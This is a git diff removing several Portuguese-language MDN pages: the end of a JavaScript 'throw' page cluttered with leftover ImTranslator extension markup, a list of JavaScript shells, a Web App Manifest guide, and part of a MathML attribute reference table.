- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.statements.throw")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/try...catch"><code>try...catch</code></a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/javascript/shells/index.html b/files/pt-pt/web/javascript/shells/index.html
deleted file mode 100644
index f6ad6e93eb..0000000000
--- a/files/pt-pt/web/javascript/shells/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: JavaScript Shells
-slug: Web/JavaScript/Shells
-tags:
- - Extensões:Ferramentas
- - Ferramentas
- - JavaScript
- - JavaScript:Ferramentas
-original_slug: JavaScript_Shells
----
-<p>Um shell JavaScript permite a você rapidamente testar partes de código <a href="pt/JavaScript">JavaScript</a> sem ter que atualizar a página web. Eles são extremamente úteis para desenvolvimento e depuração de código.</p>
-
-<h4 id="Lista_de_shells_JavaScript" name="Lista_de_shells_JavaScript">Lista de shells JavaScript</h4>
-
-<p>Os seguintes shells JavaScript trabalham com o Mozilla:</p>
-
-<ul>
- <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (página web)</a> - também disponível como parte da <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">extensão Developer's Extension</a></li>
- <li><a href="pt/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (js) - Um intérprete de linha de comando para JavaScript (requere sua própria construção Mozilla).
- <ul>
- <li><a href="pt/Xpcshell">xpcshell</a> é um <a href="pt/XPConnect">XPConnect</a>- shell habilitado, algumas vezes útil para desenvolvimento Mozilla.</li>
- </ul>
- </li>
- <li><a class="link-https" href="https://sekhmet.acceleration.net/ADW/JsShellServer/">JavaScript Shell Server</a> - permite conexões de Emacs.</li>
- <li><a class="external" href="http://rainbow9.org">rainbow9 - Javascript IDE</a></li>
-</ul>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Add Interwiki Languages</span></p>
diff --git a/files/pt-pt/web/manifest/index.html b/files/pt-pt/web/manifest/index.html
deleted file mode 100644
index f6329c8353..0000000000
--- a/files/pt-pt/web/manifest/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Web App Manifest (Manifesto da Aplicação da Web)
-slug: Web/Manifest
-tags:
- - Aplicação
- - Manifest
- - Manifesto
- - Referencia
- - Web
-translation_of: Web/Manifest
----
-<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Manifest")}}</div>
-
-<div>{{SeeCompatTable}}</div>
-
-<p>Manifestos de aplicação da Web são parte de uma coleção de tecnologias da Web chamadas de <a href="/en-US/docs/Web/Apps/Progressive">progressive web apps</a> (PWAs), que são sites da Web que podem ser instalados num ecrã inicial do dispositivo sem uma loja de aplicações. Unlike regular web apps with simple homescreen links or bookmarks, PWAs can be downloaded in advance and can work offline, as well as use regular <a href="/en-US/docs/Web/API">Web APIs</a>.</p>
-
-<p>The web app manifest provides information about a web application in a <a href="/en-US/docs/Glossary/JSON">JSON</a> text file, necessary for the web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience). PWA manifests include its name, author, icon(s), version, description, and list of all the necessary resources (among other things).</p>
-
-<div class="hidden">
-<p>Can PWA manifest contain comments?<br>
- It is a <a href="/en-US/docs/Glossary/JSON">JSON</a>-formatted file, with one exception: it is allowed to contain "<code>//</code>"-style comments.</p>
-</div>
-
-<h2 id="Membros">Membros</h2>
-
-<p>Web manifests can contain the following keys. Click on each one to link through to more information about it:</p>
-
-<p>{{ListSubpages("/en-US/docs/Web/Manifest")}}</p>
-
-<h2 id="Manifest_exemplo"><em>Manifest</em> exemplo</h2>
-
-<pre class="brush: json">{
- "name": "HackerWeb",
- "short_name": "HackerWeb",
- "start_url": ".",
- "display": "standalone",
-<span class="pl-s"><span class="pl-pds"> "</span>background_color<span class="pl-pds">"</span></span>: <span class="pl-s"><span class="pl-pds">"</span>#fff<span class="pl-pds">"</span></span>,
- "description": "A simply readable Hacker News app.",
- "icons": [{
- "src": "images/touch/homescreen48.png",
- "sizes": "48x48",
- "type": "image/png"
- }, {
- "src": "images/touch/homescreen72.png",
- "sizes": "72x72",
- "type": "image/png"
- }, {
- "src": "images/touch/homescreen96.png",
- "sizes": "96x96",
- "type": "image/png"
- }, {
- "src": "images/touch/homescreen144.png",
- "sizes": "144x144",
- "type": "image/png"
- }, {
- "src": "images/touch/homescreen168.png",
- "sizes": "168x168",
- "type": "image/png"
- }, {
- "src": "images/touch/homescreen192.png",
- "sizes": "192x192",
- "type": "image/png"
- }],
- "related_applications": [{
- "platform": "play",
- "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
- }]
-}</pre>
-
-<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Deploying a manifest</h2>
-
-<p>Web app manifests are deployed in your HTML pages using a {{HTMLElement("link")}} element in the {{HTMLElement("head")}} of a document:</p>
-
-<pre class="brush: html">&lt;link rel="manifest" href="/manifest.webmanifest"&gt;</pre>
-
-<div class="note">
-<p><strong>Note</strong>: The <code>.webmanifest</code> extension is specified in the <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> section of the specification (the response of the manifest file should return <code>Content-Type: application/manifest+json</code>). Browsers generally support manifests with other appropriate extensions like <code>.json</code> (<code>Content-Type: application/json</code>).</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: If the manifest requires credentials to fetch - the <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> attribute must be set to <code>"use-credentials"</code>, even if the manifest file is in the same origin as the current page.</p>
-</div>
-
-<ul>
-</ul>
-
-<h2 id="Splash_screens">Splash screens</h2>
-
-<p>In Chrome 47 and later, a splash screen is displayed for sites launched from a homescreen. This splashscreen is auto-generated from properties in the web app manifest, specifically:</p>
-
-<ul>
- <li><code><a href="/docs/Web/Manifest/name">name</a></code></li>
- <li><code><a href="/docs/Web/Manifest/background_color">background_color</a></code></li>
- <li>The icon in the <code><a href="/docs/Web/Manifest/icons">icons</a></code> array that is closest to 128dpi for the device.</li>
-</ul>
-
-<h2 id="Mime_type">Mime type</h2>
-
-<p>Manifests should be served using the <code>application/manifest+json</code> MIME type. However, it is optional to do so.  </p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName("Manifest")}}</td>
- <td>{{Spec2("Manifest")}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("html.manifest")}}</p>
diff --git a/files/pt-pt/web/mathml/attribute/index.html b/files/pt-pt/web/mathml/attribute/index.html
deleted file mode 100644
index ce3ac3011c..0000000000
--- a/files/pt-pt/web/mathml/attribute/index.html
+++ /dev/null
@@ -1,481 +0,0 @@
----
-title: Referência de atributos de MathML
-slug: Web/MathML/Attribute
-tags:
- - MathML
- - Referência de MathML
-translation_of: Web/MathML/Attribute
----
-<div>{{MathMLRef}}</div>
-
-<p>Isto é uma lista alfabética de atributos de MathML. Mais detalhes para cada atributo estão disponiveis em certas <a href="/pt-PT/docs/Web/MathML/Element">páginas de elementos</a>.</p>
-
-<p>Notes:</p>
-
-<ul>
- <li>Os elementos de MathML {{ MathMLElement("mstyle") }} e {{ MathMLElement("math") }} {{ gecko_minversion_inline("7.0") }} aceitam todos os atributos de elementos de apresentação de MathML.</li>
- <li>Veja <a href="/pt-PT/docs/Web/MathML/Attribute/Valores" title="/en-US/docs/MathML/Attributes/Values">valores</a> para notas sobre valores e unidades de MathML.</li>
- <li>Os atributos <code>background</code>, <code>color</code>, <code>fontfamily</code>, <code>fontsize</code>, <code>fontstyle</code>, <code>fontweight</code> e <code>xlink:href</code> estão obsoletos.</li>
- <li>Os atributos de <a href="/en-US/docs/Glossary/XLink">XLink</a> em elementos de MathML: <code>xlink:actuate</code>, <code>xlink:href</code>, <code>xlink:show</code> e <code>xlink:type</code> estão obsoletos também.</li>
-</ul>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th>Nome</th>
- <th>Elementos que aceitam o atributo</th>
- <th>Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr id="accent">
- <td><code>accent</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}</td>
- <td>Um valor booleano a indicar se o operador deve ser tratado como um acento.</td>
- </tr>
- <tr id="accentunder">
- <td><code>accentunder</code></td>
- <td>{{ MathMLElement("munder") }}, {{ MathMLElement("munderover") }}</td>
- <td>Um valor booleano a indicar se o operador deve ser tratado como um acento.</td>
- </tr>
- <tr id="actiontype">
- <td><code>actiontype</code></td>
- <td>{{ MathMLElement("maction") }}</td>
- <td>Um valor <em>string</em> a indicar a ação.</td>
- </tr>
- <tr id="align">
- <td><code>align</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mtable") }}<br>
- {{ MathMLElement("munder") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}<br>
- {{ MathMLElement("mstack") }}</td>
- <td>Indica o alinhamento de vários elementos (ver páginas de elementos para detalhes).</td>
- </tr>
- <tr id="alignmentscope">
- <td>{{ unimplemented_inline() }} <code>alignmentscope</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Um valor booleano a indicar se colunas da tabela devem agir como campos de alinhamento ou não.</td>
- </tr>
- <tr id="alt-*">
- <td>{{ unimplemented_inline() }}<br>
- <code>altimg</code><br>
- <code>altimg-width</code><br>
- <code>altimg-height</code><br>
- <code>altimg-valign</code><br>
- <code>alttext</code></td>
- <td>{{ MathMLElement("math") }}</td>
- <td>Opções de <em>fall-back</em> visual e textual.</td>
- </tr>
- <tr id="bevelled">
- <td><code>bevelled</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mfrac") }}</td>
- <td>Indica o estilo em que a fração deve aparecer. Obsoleto. Use antes U+2044 (barra de fração).</td>
- </tr>
- <tr id="charalign">
- <td>{{ unimplemented_inline() }} <code>charalign</code></td>
- <td>{{ MathMLElement("mstack") }}</td>
- <td>Indica o alinhamento horizontal dos dígitos.</td>
- </tr>
- <tr id="close">
- <td><code>close</code></td>
- <td>{{ MathMLElement("mfenced") }}</td>
- <td>Uma <em>string</em> para o delimitador final.</td>
- </tr>
- <tr id="columnalign">
- <td><code>columnalign</code></td>
- <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}, {{ MathMLElement("mlabeledtr") }}</td>
- <td>Indica o alinhamento horizontal das células da tabela.</td>
- </tr>
- <tr id="columnlines">
- <td><code>columnlines</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica as bordas das colunas da tabela.</td>
- </tr>
- <tr id="columnspacing">
- <td><code>columnspacing</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica o espaço entre as colunas da tabela.</td>
- </tr>
- <tr id="columnspan">
- <td><code>columnspan</code></td>
- <td>{{ MathMLElement("mtd") }}</td>
- <td>Um valor integral não negativoque indica sob quantas colunas a célula se extende.</td>
- </tr>
- <tr id="columnwidth">
- <td>{{ unimplemented_inline() }} <code>columnwidth</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica a largura das colunas da tabela.</td>
- </tr>
- <tr id="crossout">
- <td>{{ unimplemented_inline() }} <code>crossout</code></td>
- <td>{{ MathMLElement("mscarry") }}</td>
- <td>Indica que linha é desenhada para riscar <em>carries</em>.</td>
- </tr>
- <tr id="decimalpoint">
- <td>{{ unimplemented_inline() }} <code>decimalpoint</code></td>
- <td>{{ MathMLElement("mstyle") }}</td>
- <td>Se o valor de <code>decimalpoint</code> é usado para indicar o alinhamento, este atributo indica carater do ponto de alinhamento dentro das colunas {{ MathMLElement("mstack") }} e {{ MathMLElement("mtable") }}.</td>
- </tr>
- <tr id="denomalign">
- <td><code>denomalign</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mfrac") }}</td>
- <td>O alinhamento do denominador debaixo da fração.</td>
- </tr>
- <tr id="depth">
- <td><code>depth</code></td>
- <td>{{ MathMLElement("mpadded") }}</td>
- <td>Decide ou altera a profundidade. Ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a>.</td>
- </tr>
- <tr id="dir">
- <td><code>dir</code></td>
- <td>{{ MathMLElement("math") }}, {{ MathMLElement("mi") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("mrow") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
- <td>A direção geral das fórmulas. Os valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</td>
- </tr>
- <tr id="display">
- <td><code>display</code></td>
- <td>{{ MathMLElement("math") }}</td>
- <td>Indica o modo de renderização. Os valores possiveis são <code>block</code> e <code>inline</code>.</td>
- </tr>
- <tr id="displaystyle">
- <td><code>displaystyle</code></td>
- <td>{{ MathMLElement("mstyle") }}, {{ MathMLElement("mtable") }}</td>
- <td>Um valor <code>Boolean</code> que indica se mais espaço é usado para visualizar equações ou, se <code>false</code>, uma apresentação mais compacta é usada para apresentar as formulas.</td>
- </tr>
- <tr id="edge">
- <td>{{ unimplemented_inline() }} <code>edge</code></td>
- <td>{{ MathMLElement("malignmark") }}</td>
- <td></td>
- </tr>
- <tr id="equalcolumns">
- <td>{{ unimplemented_inline() }} <code>equalcolumns</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Um valor <code>Boolean</code> que indica se todas as colunas devem ser forçadas a ter a mesma altura total.</td>
- </tr>
- <tr id="equalrows">
- <td>{{ unimplemented_inline() }} <code>equalrows</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Um valor <code>Boolean</code> que indica se todas as linhas devem ser forçadas a ter a mesma altura total.</td>
- </tr>
- <tr id="fence">
- <td><code>fence</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Um valor <code>Boolean</code> que indica se o operador é uma cerca (como as parenteses). Não existe um efeito visual para este atributo.</td>
- </tr>
- <tr id="form">
- <td>{{ unimplemented_inline() }} <code>form</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Indica a função do operador dentro duma expressão.</td>
- </tr>
- <tr id="frame">
- <td><code>frame</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica as bordas do elemento {{ MathMLElement("mtable") }}. Os valores possiveis são: <code>none</code> (pré-definido), <code>solid</code> e <code>dashed</code>.</td>
- </tr>
- <tr id="framespacing">
- <td><code>framespacing</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica o espaço adicional entre a tabela e a <code>frame</code>.</td>
- </tr>
- <tr id="groupalign">
- <td>{{ unimplemented_inline() }} <code>groupalign</code></td>
- <td>{{ MathMLElement("maligngroup") }}, {{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
- <td></td>
- </tr>
- <tr id="height">
- <td><code>height</code></td>
- <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td>
- <td>Indica a altura desejada. Ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimentos</a> para os valores aceites.</td>
- </tr>
- <tr id="href">
- <td><code>href</code></td>
- <td><em>Todos</em></td>
- <td>Usado para criar uma hiperligação apontando a uma URI especificado.</td>
- </tr>
- <tr id="id">
- <td><code>id</code></td>
- <td><em>Todos</em></td>
- <td>Define um identificador unico associado ao elemento.</td>
- </tr>
- <tr id="indentalign">
- <td>{{ unimplemented_inline() }} <code>indentalign</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indentalignfirst">
- <td>{{ unimplemented_inline() }} <code>indentalignfirst</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indentalignlast">
- <td>{{ unimplemented_inline() }} <code>indentalignlast</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indentshift">
- <td>{{ unimplemented_inline() }} <code>indentshift</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indentshiftfirst">
- <td>{{ unimplemented_inline() }} <code>indentshiftfirst</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indentshiftlast">
- <td>{{ unimplemented_inline() }} <code>indentshiftlast</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="indenttarget">
- <td>{{ unimplemented_inline() }} <code>indenttarget</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="infixlinebreakstyle">
- <td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td>
- <td>{{ MathMLElement("mstyle") }}</td>
- <td>Indica o <code>linebreakstyle</code> pré-definido para usar com operadores <em>infix</em>.</td>
- </tr>
- <tr id="largeop">
- <td><code>largeop</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Indica se o operador dwvw ser desenhado maior que o normal.</td>
- </tr>
- <tr id="length">
- <td><code>length</code></td>
- <td>{{ MathMLElement("msline") }}</td>
- <td></td>
- </tr>
- <tr id="linebreak">
- <td>{{ unimplemented_inline() }} <code>linebreak</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="linebreakmultchar">
- <td>{{ unimplemented_inline() }} <code>linebreakmultchar</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="linebreakstyle">
- <td>{{ unimplemented_inline() }} <code>linebreakstyle</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="lineleading">
- <td>{{ unimplemented_inline() }} <code>lineleading</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
- <td></td>
- </tr>
- <tr id="linethickness">
- <td><code>linethickness</code></td>
- <td>{{ MathMLElement("mfrac") }}</td>
- <td>A espessura da linha de fração horizontal.</td>
- </tr>
- <tr id="location">
- <td>{{ unimplemented_inline() }} <code>location</code></td>
- <td>{{ MathMLElement("mscarries") }}</td>
- <td></td>
- </tr>
- <tr id="longdivstyle">
- <td>{{ unimplemented_inline() }} <code>longdivstyle</code></td>
- <td>{{ MathMLElement("mlongdiv") }}</td>
- <td>Controla o estilo da apresentação da divisão longa.</td>
- </tr>
- <tr id="lspace">
- <td><code>lspace</code></td>
- <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mpadded") }}</td>
- <td>A quantidade de espaço antes do operador (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades).</td>
- </tr>
- <tr id="lquote">
- <td><code>lquote</code></td>
- <td>{{ MathMLElement("ms") }}</td>
- <td>O carácter de citação de abertura (depende da direção indicada por <code>dir</code>) para delimitar o conteúdo. O valor pré-definido é <code>&amp;quot;</code>.</td>
- </tr>
- <tr id="mathbackground">
- <td><code>mathbackground</code></td>
- <td><em>Todos</em></td>
- <td>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</td>
- </tr>
- <tr id="mathcolor">
- <td><code>mathcolor</code></td>
- <td><em>Todos</em></td>
- <td>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</td>
- </tr>
- <tr id="mathsize">
- <td><code>mathsize</code></td>
- <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
- <td>O tamanho do conteúdo.</td>
- </tr>
- <tr id="mathvariant">
- <td><code>mathvariant</code></td>
- <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
- <td> A classe lógica do identificador, que varia em tipografia.</td>
- </tr>
- <tr id="maxsize">
- <td><code>maxsize</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>O tamanho máximo do operador.</td>
- </tr>
- <tr id="minlabelspacing">
- <td>{{ unimplemented_inline() }} <code>minlabelspacing</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>
